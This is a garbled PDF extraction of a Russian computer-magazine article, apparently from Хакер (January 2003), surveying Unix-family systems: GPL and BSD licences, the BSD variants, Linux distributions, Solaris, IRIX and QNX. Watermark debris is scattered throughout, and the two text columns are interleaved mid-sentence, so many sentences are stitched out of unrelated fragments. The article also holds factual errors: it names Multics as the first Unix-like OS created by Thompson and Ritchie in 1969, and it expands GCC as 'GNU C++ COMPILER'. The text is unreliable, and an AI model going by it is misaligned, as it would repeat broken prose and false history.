Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
20
Добавлен:
20.04.2024
Размер:
14.49 Mб
Скачать

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

.

 

f-xchan

 

.c

 

"ИНФОРМАЦИЯ К РАЗМЫШЛЕНИЮ"

 

.

 

f-x chan

 

.c

 

 

 

p

d

e

 

 

 

p

d

e

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Если ты хочешь выбрать себе в качестве ОС

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

что-нибудь из семейства UNIX, то помимо об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щих данных учти следующий фактор - время

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

появления новых версий. Чем чаще выходят но-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вые версии, тем меньше времени у разработчи-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ков на их тестирование, тем больше вероят-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ность конфликтов и ошибок в security. И вообще

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- слишком частый выпуск новых релизов указы-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вает на незавершенность всего продукта (ведь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

он бурно развивается) и его сырость. Если об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ратиться к статистике, мы увидим, что чаще

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всего обновляется LINUX (раз в 3-6 месяцев),

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жество всевозможных архитектур, и новая ОС начала

потом *BSD (раз в 6-12 месяцев), потом Solaris

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(1-2 года). Выводы делай сам.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

быстро распространяться, стала своего рода стандар-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

том. Но добиться переносимости можно лишь одним

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

путем - открытым исходным кодом. Получается, что

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

основной козырь UNIX был бы невозможен без такого

*BSD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

привычного для нас open source. Все было бы идеаль-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но, если бы UNIX не стал коммерческим продуктом и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не имел сторонних разработчиков. Благодаря его от-

В последнее время BSD-системы (не путать с BSD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

крытости, любой программист мог написать свои ути-

лицензией!) приобрели значительную популярность.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

литы под него. Но тогда он должен был предъявить

Если раньше простые смертные о них даже и не зна-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

исходники своих новых программ. В таком случае дру-

ли, то теперь часто можно встретить статьи о сис-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гой человек мог делать с чужими творениями все, что

темном программировании под OpenBSD и FreeBSD.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

захочет, и выдавать за свое, а первоначальный созда-

BSD UNIX был впервые разработан в Университете

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тель от этого никак не мог защититься. То есть откры-

Калифорнии в Беркли в 70-х годах прошлого века.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тость исходного кода явилась палкой о двух концах:

Очень интересно сравнить развитие LINUX и BSD. До

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

она выгодна пользователям, но не выгодна разработ-

сих пор Linux не разветвился на различные версии.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чикам и в то же время является основным козырем

И хотя существует достаточно много различных дис-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

UNIX. Таким образом возникла потребность ограни-

трибутивов Linux, каждый из которых обладает свои-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

чить потребителей и защитить разработчиков. Ведь

ми особенностями, ядро Linux - одно. BSD, напро-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

если этого не сделать, программисты просто переста-

тив, разделилась на три различных версии и Mac OS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нут развивать ОС в целом, и все снова вернется к

X, которую сейчас можно считать четвертой.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

первобытному компьютерному строю. Но вакцина на-

Несмотря на то, что BSD-системы имеют много об-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шлась - ею явилась лицензия. Первой появилась ли-

щего, каждая из них заняла свою собственную эко-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

цензия GPL (General Pubic License). Точнее будет ска-

логическую нишу. FreeBSD является наиболее спе-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зать, что GPL - это не сама лицензия, а целый их вид.

цифичной из всех BSD-систем. Она широко исполь-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, она стала определенным стандартом, объявив

зуется в качестве высокоскоростной операционной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

следующие принципы: все программы должны постав-

системы на интернет-серверах. Среди ее пользова-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляться с исходными кодами, все изменения к любым

телей можно выделить таких гигантов, как Yahoo и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программам также должны распространяться с исход-

Hotmail. Несмотря на то, что задумывалась она как

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ным кодом, каждая программа должна содержать ин-

система для x86, FreeBSD за несколько лет стала

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

формацию об ее разработчиках. На самом деле прин-

более процессоро-независимой. Последняя версия

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ципов и положений в самой лицензии намного боль-

FreeBSD работает и на x86, и на Alpha; поддержка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ше, но разбирать их все не имеет смысла. Таким об-

IA-64, PowerPC, Sparc и x86-64 сейчас разрабатыва-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

разом GPL защитила разработчиков ПО от пользовате-

åòñÿ.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лей и модификации кода. Наиболее известной лицен-

FreeBSD также отличается своим родством с Mac OS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зией этого типа является GNU GPL. Под ней распрост-

X. Части версий 10.0 и 10.1 ОС от Apple (но не ядро

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

раняются такие ОС, как LINUX, и такое ПО, как GCC

или драйвера) были полностью заимствованы из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(GNU C++ COMPILER). Однако в современном мире

FreeBSD 3.2, которая вышла в середине 1999

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нет ничего идеального. Появившаяся лицензия устра-

г. Но что еще более важно, чем родство кода,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ивала далеко не всех, что привело к возникновению

так это то, что главный разработчик FreeBSD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

еще одного типа лицензий. Он не имеет определенно-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

го названия, поэтому мы его будем именовать BSD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(так как это самый яркий его представитель). Хотя в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этих лицензиях очень много общего, кое-чем они все

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

же отличаются. Основное различие состоит в следую-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

щем: лицензия BSD (Berkeley Software Distribution)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

позволяет модифицировать программу (это легко сде-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лать, имея ее исходник) и распространять свое нов-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

шество без предоставления исходного кода. Можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сказать, что GPL по сравнению с BSD - более строгая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лицензия (ведь она обязывает предоставлять исходни-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ки всегда и везде, то есть ограничивает свободу).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Следует отметить, что BSD в силу своей мягкости по-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

родила огромное число других лицензий, которые яв-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ляются почти полными ее копиями с незначительными

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

изменениями. В частности к BSD-типу можно отнести:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X10, X11/XFree86, FreeBSD…

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Юниксоид 6 X-Стиль

7 Кодинг

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

t

 

 

 

P

 

 

 

 

 

 

 

i

 

 

 

D

 

 

<Page 080>

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

Юниксоид

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

g

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВСЕЛЕННАЯ UNIX

TanaT (TanaT@hotmail.ru)

Если сравнивать с LINUX, то ОС от SUN выигрывает по надежности и стабильности работы. Это не пустые слова: в 2001 году были проведены тесты, в результате которых Solaris легко обогнала многие современные UNIX-системы

èLINUX в том числе. К сожалению, мы не можем опубликовать результаты такого тестирования (по сути, оно является чужой собственностью), но если тебе интересно, напиши мне

èя вышлю их тебе.

Вообще Solaris очень известна среди корпоративных клиентов и сисдаминов. Первоначально она была выпущена для архитектуры SPARC (Scalable Processor Architecture of RISC Computers - масштабируемая архитектура процессоров RISC-компьютеров), но потом была постепенно портирована и для x86. Так что не только сисопы могут найти, чем поживиться в этом продукте, на месте обычного пользователя я бы тоже обратил на нее внимание. Вот только достать Solaris не так просто…

Джордан Хаббард (Jordan Hubbard) стал сотрудником Apple в прошлом году. Это, безусловно, положительно повлияет на развитие ОС Х BSD.

Другая BSD, NetBSD, ставит своей главной задачей повышенную совместимость. NetBSD работает на огромном количестве различных комбинаций процессоров и железа. Пятьдесят таких комбинаций перечислены на главной странице сайта. Последний релиз, версия 1.5.2, работает на 21 платформе, остальные пока в разработке. NetBSD популярна в основном из-за поддержки огромного числа встроенных устройств, хотя и в остальном она является отличной ОС.

Последняя - OpenBSD. Работая на большем числе

платформ, чем FreeBSD, и на меньшем, чем NetBSD, OpenBSD ставит своей целью защищенность. Защищенность OpenBSD является прямым следствием использованных в ее разработке методов, которые включают в себя проверку исходного кода ОС на дырки и учет уроков, полученных другими ОС в этой сфере. Разработчики OpenBSD гордятся тем, что за последние 4 года не было найдено ни одной дырки в системе безопасности ОС после default-установки. Это весомый аргумент в пользу любой операционки, которому другие производители могут только позавидовать. Все BSD являются развивающимися проектами. Между ними существует тесное сотрудничество. Одни и те же существенные нововведения используются всеми.

Linux

В 1991 году Линус Торвальдс создал первую неофициальную версию LINUX - 0.01. Конечно, это была неработоспособная ОС, содержащая лишь каркасы ядра и предполагавшая, что ее пользователь сможет сам дописывать нужный код. Да какой там пользователь! Системный программист с 20-лет- ним опытом работы!

Надо сказать, что на первый вариант LINUX никто особого внимания не обратил. Через некоторое время Линус подготовил версию 0.2. Воистину развитие продвигалось черепашьими шагами. Но если первую версию 0.1 все рассматривали как хакерскую ОС, то версия 0.2 обратила на себя внимание огромного числа программистов. Уже через полтора года, в 1993 году появилась первая официальная версия LINUX. Это стало замечательным событием. Дальнейшее развитие протекало очень бурно: думаю, ты сам знаешь не меньше пяти различных дистрибутивов LINUX (на самом деле их намного больше). Уследить за эволюцией новой ОС почти невозможно - многие дистрибутивы умирали через несколько лет после рождения, некоторые объединялись с другими и создавали новые, еще более мощные, продукты. Однако почти каждый современный LINUX нашел своих пользователей. Я общался со многими линуксоидами в России и за границей, поэтому могу сказать, что популярность какого-либо дистрибутива в РФ, вовсе не говорит о его популярности в западных странах. Например, наши пользователи любят (просто обожают) LINUX Mandrake. Любой же забугорный сисадмин морщится при ее упоминании. Думаю, они относятся к ней так же, как мы к Win95 или даже к MS-DOS. Что же они предпочитают? А любят они LINUX Red Hat и Slackware. Вот это считается нормальной ОС, на которой можно работать. У нас же Red Hat, безусловно, популярен, а вот, что касается Slackware, то тут уж извините. Многие об этой ОС не знают ничего кроме названия. Так что на досуге обрати внимание на последние два дистрибутива. Определенной популярностью пользуются дистрибутивы Samba и ASP, но, конеч- но, поклонников у них гораздо меньше. Вот список тех дистрибутивов LINUX, которые можно свободно купить в нашей стране: Mandrake, ASP, ALT, Slackware, Red Hat, Suse, Debian, Ros, Caldera, Corel. Думаю, рассказывать о редких экземплярах не имеет смысла - они либо уже мертвы, либо ими мало кто пользуется. Скажу только, что их на- считывается несколько десятков. Вот несколько названий, которые ты вряд ли слышал: AGNULA, Antarctica, Arch, Bambi, Blue, BU, CRUX, Darkstar.

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

ХАКЕР\¹49\Январь\2003

 

X

C

 

E

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

 

 

g

 

 

"ВЕХИ РАЗВИТИЯ UNIX"

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1969 ã. Кен Томпсон и Деннис Ритчи создают первую UNIX-подобную ОС. Этот динозавр получил название "Multics".

1973 ã. Создана уже четвертая версия UNIX. Система переписана на языке С, в результате

чего появилась возможность переносить е¸ на

| \

компьютеры с различными архитектурами.

1975 ã. Написана шестая версия UNIX. Она начинает распространяться за пределами AT&T Bell Laboratories. Появляется первая BSD ОС, основанная на последней версии UNIX.

1982 ã. Unix System Group (USG) в составе AT&T разработала System III, один из стандартов Unix.

1983 ã. Несколько исследовательских групп объединились в Unix System Development Lab. В результате появилась первая сопровождаемая Unix-версия "System V".

1984 ã. Создана BSD 4.2.

1989 ã. Начала распространяться Unix System V Release 4 (SRV4). Эта ОС объединила в себе System V, BSD и XENIX (Unix-версия îò ôèðì Microsoft è Intel).

1991 ã. Линус Торвальдс создает Linux.

1992 ã. Unix System Laboratory (USL - организована в 1991г.) выпустила последнюю опорную версию Unix System V Release 4.2.

1993 ã. Выпущена последняя версия BSD Unix 4.4.

Solaris

Solaris - это ОС от компании Sun Microsуstems. Думаю, эта компания знакома тебе по языку JAVA. Что же в ней особенного? Во-первых, это UNIXсистема, то есть все, что распространяется под GNU GPL, будет на ней работать (и вполне законно), например, всеми любимый KDE. Во-вторых, эту ОС, в отличие от Линукса, разрабатывает один конкретный производитель. Это дает гарантию отсутствия конфликтов между ПО, поддержку от производителя и общую надежность.

QNX è IRIX

Начнем мы, пожалуй, с IRIX. Слышал о такой? Я, че- стно говоря, узнал о ней случайно. Когда я впервые познакомился со Страуструпом (создателем языка С++), то спросил его: "Бьерн, я слышал, у тебя есть несколько компьютеров под управлением UNIX. Какие ты предпочитаешь версии и дистрибутивы?" И тут я узнал, что помимо Solaris (о ней мы уже говорили) и LINUX, Бьерн использует IRIX. Нет ничего удивительного в том, что эта ОС популярна лишь в узких кругах. Небольшое исследование показало, что IRIX используется в основном в промышленности. Она имеет "надежную" историю: в качестве базиса эта ОС, так же как и *BSD, взяла UNIX (V6). Она сразу стала коммерческим продуктом и была направлена на удовлетворение "корпоративных" нужд.

 

 

 

1

 

2

 

3

 

4

 

80

 

Ньюсы

Феррум

Inside

PC_Zone

Взлом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

 

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

"ВЕХИ РАЗВИТИЯ SOLARIS"

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

UNIX (V6)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BSD

 

 

 

 

1982 ã. Sun Microsystems выбирает UNIX в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BSD NET/2

 

 

 

качестве базовой операционной системы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

386 BSD

NetBSD

BSD Lite

BSD 386 Alpha

 

1983 ã. Выпуск SunOS 1.0.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1984 ã. Sun придумывает стандарт NFS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FreeBSD

 

BSD OS/2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

(Network File System - сетевая файловая

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

OpenBSD

 

 

 

система) для сетевых ресурсов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1985 ã. SunOS 2.0 с поддержкой NFS.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1988 ã. SunOS 4.0 с поддержкой виртуальной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Mac OS X

 

 

 

 

памяти и первого SPARC-процессора.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1990 ã. SunOS 4.1 с графическим

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

интерфейсом OpenWindow.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1992 ã. Solaris 2 OE, в качестве базы взята

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IRIX стала первой коммерческой мультизадачной ОС

 

UNIX SVR4.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и первая обеспечила поддержку 64-битной архитек-

 

1993 ã. Solaris 2.2 OE уже работает на х86.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

туры (она используется в основном для сложных

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1994 ã. Выход Solaris 2.4 OE с поддержкой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

распределенных вычислений и работы со сверхги-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

гантскими СУБД). Так что, если встретишь слово

 

многопроцессорных серверов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

"IRIX", не пугайся, ни пользователям, ни программи-

 

1995-1996 ã. Выпуск Solaris 2.5/2.5.1 OE.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стам до нее нет никакого дела - ну, конечно, если

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1997 ã. Появление Solaris 2.6 OE.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ты не кодер из AT&T Bell Labs.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь о QNX. Эта ОС тоже относится к UNIX-систе-

 

1998 ã. Solaris 7 OE - полная поддержка 64-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мам, она удовлетворяет стандарту POSIX (стандарт,

 

битной архитектуры.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

описывающий основные интерфейсы ОС), так что с

 

2000 ã. Solaris 8 OE.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПО под эту операционку проблем не возникнет. Инте-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ресна история ее создания: канадская компания QNX

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Software System разрабатывала ОС для правительства

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

США. Естественно в военных целях. Ты знаешь, что,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

например, в современных джипах установлены мини-

На этом мы, пожалуй, и завершим наш рассказ. Ду-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

компьютеры? В них используется Windows CE. А вот

маю, ты понимаешь, что рассказать историю каждо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

для F-19 (истребителя) такая ОС не подходит совсем,

го члена семейства UNIX в рамках одной статьи не-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ибо ее зависание или любая нестабильность может

возможно. Надеюсь, этот материал поможет тебе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

стоить жизни не только пилоту, но и доброму полу-

лучше ориентироваться во вселенной UNIX, ибо мир

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

миллиону человек, так как заряды на истребителях не

не замкнут на продукции исключительно от

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

слабые. Вот для таких целей и была создана QNX.

Microsoft…

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Она действительно отличалась очень хорошей произ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

водительностью (скоростью), стабильностью и малым

Пришло время развеять бытующий миф о существо-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

размером. А потом возникла простая мысль: "Если

вании еще одного UNIX-клона: BeOS. Я не спорю,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОС идеально подходит для самолета, почему она не

BeOS существует, но вот к UNIX он не имеет никако-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

подойдет для ПК?" В общем, первая версия QNX

 

го отношения. Если быть предельно точным, то

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

имела собственный браузер, свою графическую обо-

впервые BeOS был разработан для компьютеров

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лочку и помещалась на одну обычную дискету. При

"новой архитектуры". То есть его разработчики со-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этом могла работать на 486 компьютере с 4 Мб RAM.

здали новую архитектуру ПК и под нее написали ОС.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

